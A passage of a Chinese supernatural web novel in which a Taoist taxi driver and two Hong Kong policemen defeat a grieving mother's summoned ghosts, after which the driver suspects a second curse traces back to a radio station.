郑琛抬起头,脸色苍白,仔细回想了一下,然后非常肯定地点了点头:
“是!就是这样!就是从那个女孩**之后,所有事情才开始变得不对劲的!”
古德心里暗暗松了口气。
总算把最关键的信息引导出来了!
源头锁定在那个**女孩和她背后的家庭上!
他立刻做出决断,对众人说道:
“既然一切的源头都指向那个****的女孩,那我们就必须去她家看一看!无论是化解怨气,还是查找下降头、下咒的线索,那里都是关键!”
众人一时也没有更好的头绪,见古德说得肯定,便都点头同意。
这时,一直处于震惊和懵逼状态的周星星,弱弱地举起了手,像课堂提问的小学生一样,脸上写满了困惑和求知欲:
“那个……打断一下……古大师,谢Sir……按照你们刚才说的,我们现在的意思是……有个人,用了那种叫‘降头’的邪术害人?然后我们现在……是去找这个‘凶手’,去……抓人?”
古德看向周星星,嘴角扬起一抹意味深长的笑容,肯定地点了点头:
“当然!周sir,用邪术害人,难道就不是犯罪了吗?现在已经有好几个受害者了,还有一个差点死掉,证据确凿,
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当然要去抓人了!这可是大案要案!”
周星星脸上顿时露出极度纠结的表情。
一方面,他对这些神神鬼鬼的东西本能地感到害怕和排斥;另一方面,他那颗渴望破大案、立大功、调回重案组的心又蠢蠢欲动。
再者,他实在好奇到底要怎么抓一个会用邪术害人的“凶手”……
古德看出他的犹豫,指了指身边的谢潮说道:
“这位谢sir和他的部门,就是专门负责这类‘特殊案件’的。如果周sir你还没做好心理准备,觉得无法接受这种超乎常理的任务,可以不用勉强跟我们去。毕竟,这确实超出了普通警察的职责范围。”
他这话半是体谅,半是激将,也是给周星星一个最后的选择机会。
如果周星星敢去,说明他确实有胆量和潜力踏入这个光怪陆离的世界,古德不介意顺势向谢潮推荐一下他。
如果不敢,那以后就还是各走各的阳光道。
谢潮虽然不明白古德为什么对这个看起来有点脱线、世界观刚刚破碎的交通警另眼相看,但他相信古德的眼光。
于是他也配合地看向周星星,表情严肃,没有说话,但眼神里带着询问和等待,给了他无形的压力。
旁边的纸扎陈老神在在地盘着手里的那串油光发亮的念珠,脸上带着似笑非笑的表情,眯着眼睛看着眼前这一幕,仿佛在看一场有趣的戏码。
他没有发表任何意见,但那深邃的眼神仿佛早已看透了一切。
周星星的内心激烈地挣扎着。
交通警的枯燥生活、开罚单的无聊日常、以及重回一线打击犯罪的渴望,最终战胜了对未知灵异世界的恐惧!
他猛地一咬牙,眼神变得坚毅起来,挺直了腰板,大声说道:
“我去!谢sir!古大师!给我一个机会!我不想再天天骑摩托车开罚单了!就算以后要抓的是这种……这种会邪法的**,我也认了!带我一起去!”
古德和谢潮对视一眼,都露出了满意的笑容。
“好!欢迎加入这次‘特别行动’。”
古德拍了拍周星星的肩膀,然后对郑立、郑琛以及周星星说道:
“事不宜迟,我们立刻出发!郑琛,那个**女孩的住址你应该知道吧?你来指路。”
第46章 周星星的冷笑话
一行人重新走纸扎铺,回到了古德那辆红色的皇冠出租车旁。
这次车上多了一个人,就是刚入伙的周星星。
他毫不客气地把自己的交通巡逻摩托丢在原地,脱掉了那身醒目的黄色条纹交警制服,露出里面的白色T恤,然后一头钻进了出租车后排,和郑立、郑琛两兄弟挤在了一起。
郑琛报出了一个地址:“港岛,西环,坚尼地城,海傍街23号,美菲阁。”
古德点了点头,熟练地一按计价器——“哒”的一声轻响。
看到古德这无比自然的出车接客的动作,车里除了谢潮稍微习惯了一点,其他人的嘴角都忍不住抽搐了一下。
车子发动,驶离了油塘工业区,朝着港岛西区驶去。
路上,车里的气氛有些沉闷和压抑。
郑琛郑立两兄弟还没从刚才的惊悚经历中缓过神来,脸色苍白地靠在一起。
周星星则既兴奋又紧张,东张西望,感觉看什么都觉得可疑。
他这耍宝的性子实在受不了这种沉默,决定活跃一下气氛,清了清嗓子,突然开口问道:
“咳咳!那个……我问你们一个数学问题啊!你们说,鸡和牛,哪个更贵?”
没人理他。
郑琛郑立没心情,古德在专心开车。
副驾驶的谢潮正无聊地看着窗外的街景,听到这没头没脑的问题,下意识地随口回了一句:“牛吧。”
毕竟一头牛肯定比一只鸡值钱。
周星星立刻来了精神,得意地宣布答案:“错!”
谢潮一愣,扭过头好奇地问:“为什么?难道现在鸡比牛贵了?”
周星星一本正经地解释道:“因为九牛才一毛啊!九头牛才值一毛钱,那肯定牛便宜!”
谢潮被他这诡异的逻辑绕进去了,下意识地追问:“那鸡呢?”
周星星脸上露出一个猥琐的表情,用极其认真的语气说道:“八**!”
空气突然安静。
谢潮:“……”
古德:“……”
他手抖了一下,方向盘差点打滑。
这冷笑话冷得能让车窗结霜。
然而,就在这一片死寂的尴尬中,车里突然响起了一阵诡异的声音:
“咯咯咯咯……咯咯咯……”
是一个年轻女人发出的、轻飘飘的、带着点空灵和诡异的笑声!
周星星还没反应过来,听到有人笑,顿时仰头得意起来:“怎么样?是不是很搞笑?我的笑话还是很有市场的嘛哈哈哈……呃?”
他笑了两声,突然觉得不对劲!这笑声……怎么是个女生声?
这车里明明没有女人啊!
想到这,他僵硬地低下头,循声望去。
首先看到的是身边的郑立和郑琛。
这两人此刻正抱成一团,瑟瑟发抖,脸色比刚才还要白,眼睛瞪得溜圆,死死地盯着前排驾驶座和副驾驶之间的空档,嘴唇哆嗦着说不出话。
周星星顺着他们惊恐的目光看去。
只见在驾驶座和副驾驶之间的空档处,不知道什么时候,竟然倒垂下来一个……一个女人!
她穿着一身白色的、有点像是睡裙又像是病号服的衣服,黑色的长发因为倒垂而散开,遮住了大部分脸庞,只能看到一个白皙尖削的下巴。
她就那么无声无息地从车顶穿透下来,倒挂着,脸正好对着正在开车的古德的方向,发出那种“咯咯咯”的、老母鸡一样的轻笑声。
周星星的大脑瞬间宕机了!
嘴巴张得能塞进一个鸡蛋,眼睛瞪得溜圆,整个人石化当场!
副驾驶的谢潮也被这突然出现的倒吊女鬼搞得心烦意乱,他本来就有点受不了周星星的冷幽默,现在又被这女鬼的诡异笑声骚扰,顿时火气上来。
他想都没想,“唰”地一下又掏出了他的灭魂**,直接顶在了那倒吊女鬼的太阳穴位置上,没好气地低声吼道:
“喂!笑咩笑!咯咯咯,咯咯你老母啊!
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以为自己是下蛋鸡啊?吵**!再笑信不信我一枪打爆你的头,让你真去下地狱?!”
那女鬼似乎被这突如其来的冰冷枪口和谢潮凶狠的语气吓到了,诡异的笑声戛然而止!
她发出一声短促尖锐的惊叫:“呀——!”
下一秒,整个鬼影如同受惊的兔子般,“嗖”地一下缩回了车顶,消失得无影无踪。
谢潮冷哼一声,潇洒地把枪转了个圈,插回枪套,仿佛只是赶走了一只吵闹的苍蝇。
周星星这才从石化状态中恢复过来,结结巴巴地指着车顶,语无伦次地问:
“谢…谢Sir!刚…刚才那个…那是…什么东西?!怎么…怎么进来的?!”
谢潮懒得解释,闭目养神。
开车的古德倒是语气平淡地接过了话头,仿佛在说一件很平常的事情:
“没什么,一个迷路的‘游魂’而已,俗称‘孤魂野鬼’。这个世界就是这样,人鬼共存,互不干扰。
普通人看不见它们,所以大多相安无事。你们现在能看见,是因为我暂时帮你们开了眼。
不用大惊小怪,这种没什么道行、只是凭本能游荡的鬼魂到处都是,一般不会主动害人,就是有时候……比较烦人。”
周星星听得嘴角疯狂抽搐,额头冷汗直冒。
他开始严重怀疑自己刚才热血上头的决定是不是正确的……这个新世界,好像比他想象的还要刺激和……奇葩?
天天面对这些东西,真的不会精神衰弱吗?
就在周星星进行激烈的心理斗争时,古德一脚刹车,将车子稳稳地停在了一条略显陈旧的临海街道旁。
“到了,西环海傍街23号,美菲阁。”
古德看着窗外那栋有些年头的住宅楼,语气凝重地说道。
车里的气氛,瞬间再次变得紧张起来。
(感谢90582441、开心与健康……等多位魅魔大佬打赏支持,今天开心,再加更一章。)
第47章 冒出了一大群鬼
一行人心情凝重地走上略显陈旧的楼梯,楼道里弥漫着一股淡淡的霉味和香烛混合的气息。
来到三楼,找到了301室。
古德示意众人停下,他能清晰地感觉到门缝里渗透出的阴冷气息比外面浓郁数倍,普通人都能感受到冷意。
他抬手敲了敲门。
叩、叩、叩。
令人意外的是,门并没有锁,随着敲击声,竟然“吱呀”一声,自己缓缓打开了一条缝隙。
仿佛早就有人在等待着他们的到来。
古德眉头紧锁,心中警惕性提到最高。
他推开房门,率先走了进去。
房间内的光线十分昏暗,窗帘紧闭,只有一盏昏黄的白炽灯在客厅中央摇曳。
空气中弥漫着浓重的香烛味、草药味和一种难以言喻的、属于老年人的陈腐气息。
家具简单而老旧,收拾得异常整洁,甚至有些刻板。
客厅正中的一张藤椅上,静静地坐着一个穿着深色碎花衫、头发花白卷曲的老太婆。
她正是美美的母亲。
她面无表情,眼神浑浊而平静,仿佛对古德几人的闯入毫不意外,只是静静地、冷冷地看着他们。
“你们来了。”
老太婆的声音干涩而平静,没有一丝波澜,仿佛在陈述一个既定的事实。
古德心中暗道一声“果然”。
这老太婆显然知道降头被破,甚至可能预感到他们会找上门来。
他对谢潮使了个眼色。
谢潮心领神会,上前一步,亮出自己的**,语气严肃而官方:“这位女士,我是香江警务处特别事务处理科的谢潮高级督察。
我们怀疑你与多宗利用邪术害人、导致他人死亡及重伤的案件有关。请你配合调查,跟我们回警署协助调查。”
美美的母亲仿佛没有听到谢潮的话,她的目光越过谢潮,落在脸色依旧苍白的郑琛身上,浑浊的眼睛里闪过一丝刻骨的怨毒。
她喃喃自语,声音却清晰地传入每个人耳中:“就差一步……就差最后一步,我就可以送他下去,彻底为我女儿报仇了……可惜,可惜啊……”
她忽然抬起头,脸上露出一抹诡异而疯狂的笑容:
“不过没关系……没关系……你们都来了……正好……正好可以一网打尽!多送几个下去陪我女儿!她一个人在下面……太孤单了!”
话音未落,她猛地从椅子旁摸出一把锋利的小刀,毫不犹豫地在自己枯瘦的手掌心狠狠一划!
嗤!
鲜血瞬间涌出,滴落在灰白色的水泥地上。
她仿佛感觉不到疼痛,用流血的手掌快速在地面上涂抹起来,画出一个复杂而邪异的、仿佛由无数扭曲符号组成的图案!
随着图案的完成,那鲜血仿佛活了过来,发出微弱的暗红色光芒!
“阿潮,阻止她!”
古德厉声喝道,他感觉到房间内的阴气瞬间暴涨,温度骤降!
谢潮反应极快,虽然不清楚那图案的具体作用,但绝对不是什么好东西!
他毫不犹豫地举枪瞄准美美母亲的肩膀,扣动**!
砰!
一声枪响!
**精准地击中了老太婆的右肩!
鲜血迸溅!
“呃啊!”老太婆痛哼一声,画图的动作被打断,右手无力地垂了下去。
但她非但没有恐惧,反而发出了一阵嘶哑而疯狂的尖笑:
“哈哈哈!晚了!已经太晚了!仪式已经启动了!女儿!我的宝贝女儿!还有你的朋友们!都出来吧!把这些害死你的人……全都带走!!!”
随着她凄厉的呼喊,房间内的昏黄灯光开始剧烈闪烁,明灭不定!
阴风凭空而起,呼啸着卷动窗帘,发出“啪啦啪啦”的声响!
紧接着,在众人惊骇的目光中,一道道模糊、扭曲、散发着浓烈怨气和阴冷气息的身影,如同从墙壁、地板、阴影中渗透出来一般,缓缓凝聚成形!
一、二、三、四、五、六、七、八!
足足八道身影!
五个男鬼,三个女鬼!
他们个个面目狰狞,死状凄惨!
有的浑身湿漉漉滴着水,脸色浮肿青紫;有的脑袋扭曲,四肢以诡异的角度弯曲;有的胸口插着玻璃碎片,浑身是血……浓烈的怨气和死气交织在一起,几乎让人窒息!
其中,一个留着短发、脸色惨白如纸、眼神却充满了无尽怨毒的女鬼,散发出的气息最为恐怖!
她死死地盯着郑琛,仿佛要将他生吞活剥!
正是****的美美!
郑琛哆哆嗦嗦的喊了一句:
“长发,柴少。”
那群鬼里两个男鬼身形动了一动,阴森森的看向郑琛。
郑琛立马闭嘴。
古德面色凝重,快速扫过这八只恶鬼,瞬间明白了它们的来历。
这应该就是阴阳路2里,所有的死者化成的鬼。
那个**的长发、淹死的柴少和船上另外三个同船遇难者。
除此之外,还有最开始**的那个美美和可能同样因她而死的另外两个女鬼,古德猜测那两个女鬼很有可能就是船上害死柴少他们的女鬼!
这老太婆,竟然用自己的血和邪术,将她女儿以及所有因这件事而死的人的怨魂,全部召唤了过来!
这是要同归于尽的架势!
“周星星!接着!”
古德毫不犹豫地将手中那柄温养出些许灵性的铜钱剑抛给周星星,“保护郑立郑琛!这剑能伤到它们!别怕!砍就行!”
接着他又迅速从挎包里掏出五张“护身符”,快速分发给四人:“把这护身符贴在胸口!能挡一下阴气!”
郑立和郑琛手忙脚乱地把符纸拍在自己胸口,吓得缩到了周星星身后。
周星星虽然也吓得脸色发白,但接过沉甸甸的铜钱剑后,感受到剑身传来的一丝微弱温热,又看到古德和谢潮镇定的样子,一股莫名的勇气涌了上来,他大吼一声给自己壮胆,双手紧紧握住剑柄,挡在了郑家兄弟身前。
谢潮没有犹豫,迅速从腰间掏出几个小玻璃瓶,里面装着淡蓝色的“显形水”。
他用力将瓶子砸向冲得最快的两个湿漉漉的男鬼!
啪!啪!
玻璃瓶碎裂,显形水溅了那两只水鬼一身!
他们的魂体立刻冒起阵阵白烟,发出痛苦的嘶嚎,动作明显迟滞了一下,魂体也变得稍微透明了一些!
“就是现在!”
古德眼神一厉,体内法力奔涌!
他双手各捏一张“斩鬼符”,无需念咒,直接以心神引动法力灌注其中!
嗡!嗡!
两张黄符瞬间爆发出刺目的金色光芒,如同两柄金色的利剑!
“敕!”古德低喝一声,手腕一抖!
咻!咻!
两道金光脱手而
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出,以迅雷不及掩耳之势,精准地射中了那两个被显形水削弱、动作迟缓的淹死鬼!
“嗷——!!!”
伴随着两声凄厉无比的惨叫,金光如同炽热的烙铁般穿透了它们的魂体!
那两个男鬼瞬间如同被点燃的纸人,在刺目的金光中扭曲、燃烧,眨眼间便化作两缕青烟,彻底魂飞魄散!
开局秒杀两个!
但剩下的六只恶鬼,包括怨气最重的美美,已经被彻底激怒,发出疯狂的咆哮,从四面八方扑了过来!
凶戾的阴风刮得人脸颊生疼!
“来的好,我这八极拳点起来还没打过几次!”
古德眼神冰冷,毫无惧色。
他迅速将两张“辟邪符”分别拍在自己的左右手臂上!
符纸贴上,手臂上顿时泛起一层微不可查的金光,仿佛戴上了一双无形的驱邪手套!
他脚踩八卦步,身形灵活地侧身躲开一个脑袋扭曲的男鬼的扑击,同时右臂猛地一挥!
“啪!”
仿佛抽打在实物上的声音响起!
那男鬼被古德蕴含着辟邪之力的手臂狠狠扫中,接触的地方瞬间冒起黑烟,发出一声痛嚎,被打得倒飞出去,魂体都黯淡了几分!
另一边,一个胸口插着玻璃的女鬼尖叫着伸出利爪抓向谢潮!
谢潮反应极快,一个标准的警务格挡动作架开鬼爪,同时另一只手迅速从枪套里拔出“灭魂”**,几乎零距离对准那女鬼的额头!
砰!
特殊的驱邪**伴随着沉闷的**没入女鬼眉心!
那女鬼发出一声更加尖锐的惨叫,整个脑袋如同西瓜般炸开一小半,化作黑烟消散,剩下的无头身体踉跄几步,也开始缓缓消散!
周星星那边压力巨大!
两个男鬼和一个女鬼同时扑向他和他身后的郑家兄弟!
“我顶你个肺啊!真当我是软柿子啊!”
周星星怪叫一声,肾上腺素飙升,也顾不上害怕了,双手抡起铜钱剑,毫无章法但气势十足地对着前方一通乱劈乱砍!
“走开!走开!别过来啊!”
嗤!嗤!
铜钱剑虽然灵性不强,但至阳的材质和辟邪的符文对阴魂有着天然的克制!
剑身扫过,在空气中拉出淡淡的金光轨迹,碰到鬼体便发出烙铁烫肉般的声响!
冲在最前面的一个男鬼被剑尖划到手臂,顿时惨叫一声,手臂变得虚幻起来!
另一个女鬼试图从侧面绕过,周星星情急之下,一个标准的警用侧踹,虽然那鬼身形虚幻,但周星星竟然就这么真实的一脚踹在女鬼身上,竟让她身形一滞。
“咦?竟然有效果?!”
周星星一愣,随即更加卖力地一边乱挥剑一边胡乱踢腿,嘴里还大喊着警察抓贼时的常用台词:“不许动!趴下!再动我剑下就不留情了!”
场面一时变得有些混乱而激烈!
古德如同游龙,在鬼影中穿梭,覆着辟邪金光的手臂或拳或掌,每一次击中鬼体都能带来有效的伤害和击退效果,动作干脆利落,颇有几分道门高手的风范。
谢潮则配合默契,利用“灭魂”**进行精准点杀,或者用显形水削弱干扰,战术意识极强。
周星星虽然手忙脚乱,招式毫无章法,但凭借着铜钱剑和一股混不吝的狠劲,竟然也勉强护住了身后的郑家兄弟,没让鬼魂突破防线!
第48章 美美她妈的遗憾
趁着周星星和郑家兄弟吸引了部分火力,古德压力稍减。
他迅速从挎包中再次抽出两张“斩鬼符”,体内所剩不多的法力涌入符箓之中!
“敕!敕!”
两声低喝!
符箓瞬间自燃,化作两道刺目的金色流光,后发先至,以极快的速度分别射向那两个由长发DJ和柴少化作的恶鬼!
“嗷——!”
两声凄厉无比的惨嚎几乎同时响起!
金光毫无阻碍地穿透了它们的魂体,如同烈阳融雪,那两个恶鬼在绝望的扭曲中迅速燃烧、分解,最终化为两缕青烟,彻底消散在空气中,连渣都没剩下。
另一边,谢潮也抓住机会!
他一个敏捷的侧滑步,避开一个面目腐烂的女鬼的扑击,右腿如同钢鞭般猛地扫出,虽然对灵体直接伤害不大,但蕴含的冲击力还是将那女鬼踹得一个趔趄,魂体晃动!
几乎在同时,他左手已经从腰间摸出最后一瓶“显形水”,看也不看就朝着那女鬼劈头盖脸地砸了过去!
啪嚓!
玻璃瓶精准地在那女鬼头上碎裂,淡蓝色的液体溅了她一身!
“嘶啊啊啊——!”
女鬼发出痛苦的尖啸,浑身冒出滋滋的白烟,魂体以肉眼可见的速度变得稀薄、透明,动作也瞬间僵直迟缓!
谢潮眼神冰冷,没有丝毫犹豫!
右手早已握持的“灭魂”**顺势抬起,枪口几乎抵在了那女鬼模糊不清的额头上!
砰!
一声沉闷的枪响!
驱邪**裹挟着特殊的力量,瞬间没入女鬼的头颅!
那女鬼连最后的惨叫都没能发出,整个脑袋如同被砸碎的西瓜般爆开,化作一团浓烈的黑烟,剩余的魂体也随之剧烈波动,迅速消散无形!
转瞬之间,八只恶鬼已被消灭五只!
场上只剩下那个身材最为魁梧、死状也最狰狞的男鬼,以及怨气最深、眼神最恶毒的女鬼美美!
那坐在藤椅上的美美母亲看到这一幕,本就因失血和反噬而惨白的脸色更是灰败了几分!
她眼中闪过一丝绝望和不甘,用尽最后力气,嘶哑地喊了一声,双手做出一个召回的手势,似乎想将剩余的两只鬼唤回身边保护自己。
那魁梧男鬼和美美闻声,立刻放弃攻击,怨毒地瞪了古德几人一眼,身形向后飘退。
“想走?给我留下!”
古德冷哼一声,岂能让她如愿?
他看准那魁梧男鬼后退的路径,脚下步伐一错,身体如同猎豹般窜出,右腿灌注微薄法力,猛地一个横扫,精准地踢在那男鬼的腰腹部位!
虽然物理攻击对灵体效果有限,但古德这一脚蕴含的法力以及腿上贴着的“辟邪符”残留的力量,还是起到了效果!
“呃!”那男鬼闷哼一声,魂体剧震,后退的势头被打断,甚至被踹得向旁边一个踉跄,正好跌向谢潮的方向!
谢潮反应极快,一个箭步上前,穿着皮鞋的右脚猛地踩下,仿佛踩住了实体一般,将那只魁梧男鬼死死踩在了脚下!
那男鬼发出愤怒的咆哮,挣扎着想要脱身,但谢潮的鞋底似乎蕴含着某种克制灵体的力量,让它一时难以挣脱。
“拜拜。”
谢潮居高临下地看着脚下挣扎的恶鬼,语气平淡地吐出两个字,枪口向下,对准它的后脑勺。
砰!
又是一声枪响!
**穿透魂体,那魁梧男鬼的挣扎瞬间停止,魂体如同破碎的玻璃般寸寸碎裂,最终化为黑烟消散。
谢潮潇洒地吹了一下枪口并不存在的硝烟,看向古德,嘴角勾起一抹难得的笑意:
“怎么样,德仔?我这家伙事儿还不错吧?比你的符箓省事多了,指哪打哪,物理超度,干净利落。”
古德看着他那嘚瑟的样子,也笑了,语气带着点真实的羡慕:
“确实好用,看得我都心痒痒了。这玩意儿对付这些怨灵恶鬼,效率真高。”
谢潮闻言,一边警惕地盯着最后那只女鬼美美,一边头也不回地对古德说道:
“想要?简单啊!打份报告,申请调入我们‘特别事务处理科’就行!我帮你跟上面说,保证给你配一把最新款的!
虽然这枪和**的制造很麻烦,但是只要你进来,我师父肯定会尽力打造的。
怎么样,考虑一下?福利待遇好,工作刺激,还能合法**,多爽!”
他趁机开始了招聘宣传。
古德闻言,撇了撇嘴,心里暗道:
“切,哥是有系统的男人!等以后公里点数攒够了,直接点出‘御剑术’或者‘**’,那才叫帅!指哪打哪?我这叫指哪劈哪!羡慕死你!”
不过虽然这么想,他也发现,系统的技能树里并没有那种飞天遁地的飞剑术,更多的是符箓、阵法、风水、请神、内炼等偏传统民俗和道门基础的东西,御剑飞行什么的,估计是没戏了。
他收起胡思乱想,脸色重新变得凝重,面无表情地看向最后的目标。
那对母女,虽然其中一个是鬼。<
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br>美美的母亲瘫在藤椅里,气息已经极其微弱,脸色白得吓人,胸口的起伏几乎看不见,显然是因为邪术反噬加上失血过多,已经到了弥留之际。
而她身边,女儿美美的鬼魂则发出低沉的、如同野兽般的呜咽,浓郁的怨气几乎化为实质的黑雾环绕周身,死死地盯着古德几人,但又因为母亲即将死亡而显得有些焦躁和不安。
古德看着这对人鬼殊途的母女,叹了口气,开口道:
“阿婆,你女儿****,虽然是那个电台主持人口无遮拦刺激了她,但他也被你害**。为什么一定要牵连他人,甚至可能都不太熟的人都不放过?”
那老太婆艰难地抬起眼皮,浑浊的眼睛里充满了偏执的恨意,她用尽最后力气,断断续续地说道:
“我……我就这么一个女儿……她是我……全部……所有害死她的相关人员……都……都必须死!一个……都不能放过!咳咳……”
她剧烈地咳嗽起来,嘴角溢出黑血,眼神开始涣散。
她艰难地转过头,看向身边女儿模糊的鬼影,眼中流露出一丝不舍和哀求,最后将目光投向古德,气若游丝地恳求道:
“这次……是你赢了……我……我认了……都是我的错……但是……求求你……放过我女儿……让她……让她走吧……她……她也是个可怜人……”
古德缓缓地摇了摇头,目光扫过美美那充满无尽怨毒、丝毫没有理智可言的眼神,语气坚定地说道:
“对不起,我不能答应。你女儿已经彻底被怨气吞噬,失去了理智和人性。她现在只剩下害人的本能。
今天我放过她,明天就会有其他无辜的人遭殃。除恶务尽,这个道理,你应该明白。”
那老太婆听到古德的回答,脸上露出极度不甘和绝望的神色,她张了张嘴,似乎还想说什么,但最终没能发出声音。
她的瞳孔逐渐放大,头一歪,彻底没了气息。
然而,就在她断气的前一刹那,她仿佛回光返照般,猛地又睁开了眼睛,死死地盯着古德,用极其微弱、但异常清晰的声音,说了一句让古德眉头紧锁的话:
“那个……男孩身上……我只下了……‘降头’……并没有……下‘咒’……”
说完,她脑袋一垂,这次是真的彻底死去了。
“妈——!!!”
就在老太婆断气的瞬间,旁边的女鬼美美仿佛受到了巨大的刺激,发出一声撕心裂肺、充满了无尽痛苦和愤怒的尖啸!
第49章 下咒的是谁?(加更~)
女鬼周身的怨气如同火山般轰然爆发!
整个房间的温度骤降,阴风呼啸!
她彻底失去了最后一丝理智,化作一道黑色的利箭,带着滔天的怨毒,疯狂地扑向离她最近的古德!
“找死!”
古德早已料到她会暴走,心中没有丝毫慌乱!
他右手早已暗中扣住了最后一张“斩鬼符”,在美美扑来的瞬间,体内最后一点法力毫无保留地注入其中!
符箓瞬间爆发出耀眼的金光!
“敕!”
古德厉喝一声,手腕一抖,金色流光精准地迎向扑来的美美!
几乎在同一时间,旁边的谢潮也毫不犹豫地扣动了**!
灭魂**发出怒吼,特制**射向美美的魂体核心!
轰!!!
金色的符箓光芒与驱邪**的威力几乎同时作用在美美的魂体上!
一声震耳欲聋的、仿佛来自灵魂深处的**声响起!
美美的鬼魂发出一声短暂而极其尖锐的惨叫,整个魂体如同被投入炼钢炉的冰块,在刺目的光芒和强大的能量冲击下,瞬间汽化、蒸发,消失得无影无踪!
连一丝黑烟都没有留下!
强大的能量冲击波扩散开来,吹得房间里的纸张乱飞,窗帘剧烈摆动。
一切,终于彻底结束了。
房间内陷入了死一般的寂静。
古德长长地舒了一口气,一直紧绷的神经放松下来,顿时感到一阵强烈的虚弱感和头晕目眩,脸色瞬间变得有些苍白,身体微微晃了一下,差点没站稳。
法力彻底耗空了。
“德仔!没事吧?”
谢潮立刻注意到他的异常,连忙上前一步扶住他,关心地问道。
他虽然也消耗了不少“灭魂”**和显形水,但主要依靠外物,自身只是有些精神疲惫。
古德摆了摆手,示意自己没事,声音有些虚弱地说道:
“没事,就是法力用完了,有点脱力,休息一下就好。”
谢潮闻言松了口气,随即又忍不住习惯性地吐槽嘲笑一句:
“啧,你这法力也太不经用了吧?这才几下啊?就空了?”
古德没好气地白了他一眼,反唇相讥:
“你以为都跟你似的,扣扣**、扔扔瓶子就完事了?我这可是实打实消耗自身元气的好吗!精贵的很!
倒是你,别以为你那枪就没代价,那特制**估计也掺了你的血或者别的什么吧?
用多了小心未老先衰,精血亏空!回去记得多吃点猪肝红枣补补!”
谢潮听到古德的话,摸了摸下巴,露出了思索的表情。
古德说的没错,“灭魂”**的**制造确实需要用到使用者的少量精血作为“灵引”之一,频繁使用对身体确实有一定负担。
他之前没太在意,看来以后得注意点了。
接着,谢潮又看向藤椅上已经彻底死去的美美母亲,皱了皱眉问道:
“这老太婆……不会等下也变鬼吧?那可就没完没了了。
还有,刚才那些鬼,数量是挺吓人,但感觉……好像比我想象中要弱一点?
明明怨气感觉都不轻,怎么对付起来没那么费劲?”
古德稍微缓过劲来,解释道:
“放心,她变不了鬼了。强行施展这种召唤和控制众多恶鬼的邪术,本身就需要付出巨大代价。
再加上被我们强行打断、反噬,她的魂魄估计早就被撕扯得残缺不全了,能安然死去就不错了,没机会变鬼了。”
他顿了顿,继续解释道:
“至于那些鬼……感觉弱是正常的。它们都是被这老太婆用邪术强行催化、**起来的‘速成恶鬼’,空有怨气的量,但质不行,境界根本没稳固,就像是吹起来的气球,一戳就破。
跟那种自然形成、怨气沉淀凝聚多年的老牌恶鬼没法比。就跟之前被郑琛撞死的那个红衣女鬼差不多,看着凶,其实核心不稳。”
谢潮恍然大悟地点了点头:“原来如此!怪不得……”
这时,谢潮看向一旁还有些惊魂未定,但眼神中已经多了几分坚毅和复杂的周星星,开口说道:
“周sir,这里剩下的手尾就交给你处理了。联系军装警和法医过来吧,正常程序走就行。例如‘发现可疑人员死亡,疑似邪教活动内讧’之类的报告,你应该知道怎么写。
搞定之后,如果你想调离交通部,我可以帮你跟上面打招呼,推荐你去重案组或者刑侦部门。当然……”
谢潮顿了顿,看了一眼古德,又补充道:
“如果你对这类‘特殊案件’感兴趣,不怕死,心理承受能力够强,也可以考虑来我们部门试试。虽然人少了点,但权限高,案子……嗯,也比较刺激,嘿嘿……”
谢潮坏笑了一下后再次发出了邀请。
周星星面色复杂地看着谢潮和古德,又看了看地上的狼藉和尸体,最后重重地点了点头:
“我明白了,谢Sir!这里交给我!至于以后……让我再想想……”
他
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需要时间消化今天的一切,重新思考自己的未来。
他走到一边,拿出对讲机开始联系总部和巡逻的同事。
谢潮则看向古德,问道:“接下来怎么办?直接收队?”
古德却皱着眉头,陷入了沉思。
他反复回味着那老太婆临死前的话。
“她只下了降头,并没有下咒”。
如果郑琛身上的“咒”不是这老太婆下的,那会是谁?来自哪里?
难道这一切的背后,还有另一只黑手?郑琛的“被害妄想症”和接连见鬼,难道不全是降头的影响,还有别的力量在作祟?
他一时之间毫无头绪,感觉眼前仿佛又笼罩上了一层新的迷雾。
“不过这次亏大了,奶奶的熊!”
古德心里暗骂一句,“才收两万港币,就折腾成这样,把蓝条打空,还惹上一身骚,最后发现可能只是个开胃菜?亏到姥姥家了!”
他甩了甩头,暂时压下心中的疑虑,对谢潮说道:
“你先带郑琛回警局录份详细点的口供吧,把他从入职电台到现在的所有经历,尤其是他觉得不对劲的细节,都问清楚。
我有点事情没想明白,需要一个人静一静,理理头绪。我先回家休息一下。”
谢潮虽然有些疑惑,但还是点了点头:“好,有事Call我。”
这时,郑立走了过来,从随身带的公文包里拿出一个厚厚的信封,恭敬地递给古德,语气充满了感激和后怕:
“古大师,这次真的太感谢您了!没有您,我堂弟肯定没救了!
这是之前说好的两万块酬劳,请您务必收下!后续如果还有需要帮忙的地方,我们一定尽力!”
古德接过沉甸甸的信封,心情稍微好了一点。
他点了点头,没多说什么。
看着谢潮和郑立扶着依旧有些虚弱的郑琛,坐上刚刚赶到的其他警员的车离开,古德也长长吐出一口浊气,转身走向自己那辆红色的皇冠出租车。
他拉开车门,坐进驾驶座,感受着身体的疲惫和法力的空虚。
发动车子,按下计价器,他习惯性地看了一眼屏幕上的公里数记录。
“今天跑了不少地方,公里数应该又涨了点吧……”
古德调转车头,朝着阴阳路的方向驶去。
车窗外,华灯初上,霓虹闪烁,九十年代的香港夜景依旧繁华喧嚣。
(感谢各位靓仔靓妹的打赏,人数太多就不一一感谢,做兄弟在心中~为各位魅魔加更~)
第50章 逐渐浮出的线索
古德拖着疲惫的身体回到阴阳路37号的家中,反手锁好门,将那个装着两万港币的信封随手扔在茶几上,整个人就瘫进了那张旧沙发里。
屋子里很安静,只有墙上挂钟秒针走动的“滴答”声。
他闭上眼睛,脑海里却像过电影一样,反复回放着今天发生的一切。
到底郑琛是在哪里被下咒的?
“呼……”
他长长地吐出一口浊气,揉了揉有些发胀的太阳穴。
“当所有线索都好像断掉,或者走进死胡同的时候,不妨放松下来,回到最初的起点,重新梳理。”
不知从哪里听来的这句话突然浮现在他脑海里。
古德下意识地环顾四周,目光扫过客厅,最终落在了墙角柜子上那台老式的、带着调频旋钮和木质外壳的收音机上。
收音机……电台!
一道灵光如同闪电般劈开迷雾!
他猛地坐直了身体!
“对啊!电台!郑琛他们撞鬼的一切开端,不就是从那个见鬼的‘鬼话连篇’午夜电台开始的吗?!”
古德用力一拍大腿,“那个电台本身就有问题!电影里好像也暗示过,那电台以前就出过事,可能是风水不好,也可能是人为的,在那边的电台主持人都见过鬼!
美美母亲下的降头是引子,但那个‘咒’……那个连纸扎陈都没看出来源、让郑琛霉运缠身、不断见鬼的‘咒’……其根源,会不会就在那个电台里?!”
这个想法一旦产生,就再也挥之不去。
